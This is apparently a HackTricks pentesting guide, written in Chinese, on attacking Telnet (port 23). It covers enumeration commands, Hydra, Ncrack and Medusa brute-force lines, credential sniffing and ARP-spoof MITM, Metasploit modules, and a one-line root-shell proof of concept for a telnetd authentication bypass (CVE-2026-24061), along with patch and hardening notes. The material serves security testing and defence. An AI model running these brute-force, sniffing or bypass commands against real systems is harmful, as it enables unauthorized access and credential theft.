23 - Pentesting Telnet
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Telnet 是一种网络协议,为用户提供了一种不安全的方式通过网络访问计算机。
默认端口: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
所有有趣的枚举都可以通过 nmap 执行:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
脚本 telnet-ntlm-info.nse 将获取 NTLM 信息(Windows 版本)。
From the telnet RFC:在 TELNET Protocol 中有各种 “options”,这些选项会被批准并可能与 “DO, DON’T, WILL, WON’T” 结构一起使用,以允许用户和服务器就使用更复杂(或只是不同)的 TELNET 连接约定达成一致。此类 options 可能包括更改字符集、回显模式等。
我知道可以枚举这些选项,但我不知道如何操作,如果你知道请告诉我。
枚举 Telnet 选项 / 功能
Telnet 使用 IAC + DO/DONT/WILL/WONT 协商来启用选项。你可以通过捕获初始协商并探测特定功能来观察受支持的选项。
Nmap 选项/功能 探测
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
telnet-encryption 脚本检查是否支持 ENCRYPT 选项;一些实现历史上错误地处理该选项并因此存在漏洞,但该脚本仅检查是否支持该选项。
telnet-ntlm-info 会在启用 Microsoft Telnet NTLM 时披露 NTLM 元数据(NetBIOS/DNS/OS build)。
telnet-brute 是一个针对 Telnet 的 NSE brute-force 审计器。
Brute force
配置文件
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks 自动命令
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
最近的漏洞 (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): 在 telnet 服务中的不当输入验证允许远程攻击者使用硬编码凭据登录并注入操作系统命令;已在固件 1.04B05 或更高版本修复。
- CVE-2023-40478 – NETGEAR RAX30: Telnet CLI 中
passwd命令的基于栈的缓冲区溢出允许网络相邻的代码以 root 身份执行;需要认证但可以被绕过。 - CVE-2022-39028 – GNU inetutils telnetd: 两字节序列(
0xff 0xf7/0xff 0xf8)可在telnetd中触发 NULL 指针取消引用,重复崩溃可能导致 inetd 禁用该服务(DoS)。
在漏洞分级(vulnerability triage)时记住这些 CVE——如果目标运行未打补丁的固件或遗留的 inetutils Telnet daemon,你可能有一条直接实现代码执行或造成破坏性 DoS 的路径。
CVE-2026-24061 — GNU Inetutils telnetd 身份验证绕过(Critical)
原理: Telnet NEW_ENVIRON 允许客户端在选项协商期间推送环境变量;inetutils telnetd 在其登录模板中用 getenv("USER") 替换 %U 并直接传给 /usr/bin/login,从而启用 argv-level option injection(没有 shell 扩展)。
根本原因: 版本 1.9.3–2.7 在展开 %U 时没有进行过滤,因此以 - 开头的 USER 值会被解析为 login 的标志。例如,%U 变为 -f root,生成 /usr/bin/login -h <hostname> "-f root" 并通过 login -f 跳过认证。
利用流程:
- 连接到 Telnet 服务并协商 NEW_ENVIRON 以设置
USER=-f root。 telnetd构建登录 argv,其中包含攻击者控制的%U值。/usr/bin/login将-f root解释为 “pre-authenticated user root”(预先认证的 root 用户),并启动一个 root shell。
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
补丁说明: inetutils 2.7-2 引入了一个 sanitize() helper,会在将值替换进登录 argv 之前拒绝以 - 开头或包含空白/元字符的值,从而阻止选项注入。
检测/验证: 使用 telnetd --version、dpkg -l | grep inetutils、systemctl status inetutils-telnetd 或 netstat -tlnp | grep :23 来识别暴露的守护进程。
缓解措施
- 修补/升级 受影响的软件包并立即更新(例如,Debian 的修复版本位于
2:2.4-2+deb12u2、2:2.6-3+deb13u1和2:2.7-2)。 - 禁用 Telnet 或在修补期间将访问限制在受信任的管理网络。
嗅探凭证与中间人攻击
Telnet 以 明文 传输所有内容(包括凭证)。两种快速捕获它们的方法:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
在主动 MITM 情况下,将 ARP spoofing (例如 arpspoof/ettercap) 与相同的 sniffing filters 结合,以在交换网络上收集密码。
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
大多数 IoT botnets(Mirai 变种)仍然使用小型 default-credential 字典扫描 port 23——模仿该逻辑可以快速识别弱设备。
利用与后利用
Metasploit 有一些有用的模块:
auxiliary/scanner/telnet/telnet_version– banner & option 枚举。auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce。auxiliary/scanner/telnet/telnet_encrypt_overflow– 针对易受攻击的 Solaris 9/10 Telnet 的 RCE(option ENCRYPT 处理缺陷)。exploit/linux/mips/netgear_telnetenable– 在许多 NETGEAR 路由器上通过构造的数据包启用 telnet 服务。
获取 shell 后,请记住 TTYs are usually dumb;使用 python -c 'import pty;pty.spawn("/bin/bash")' 升级,或使用 HackTricks TTY tricks。
加固与检测(Blue team 角度)
- 优先使用 SSH,并完全禁用 Telnet 服务。
- 如果必须使用 Telnet,只将其绑定到管理 VLAN,强制使用 ACL,并使用 TCP wrappers(
/etc/hosts.allow)包装守护进程。 - 用
ssl-telnet或telnetd-ssl替换旧的telnetd实现以增加传输加密,但 这只保护 data-in-transit——password-guessing 仍然很容易。 - 监控到 port 23 的出站流量;被攻陷的主机经常通过 Telnet 发起 reverse shells 以绕过严格的 HTTP 出站过滤。
参考资料
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


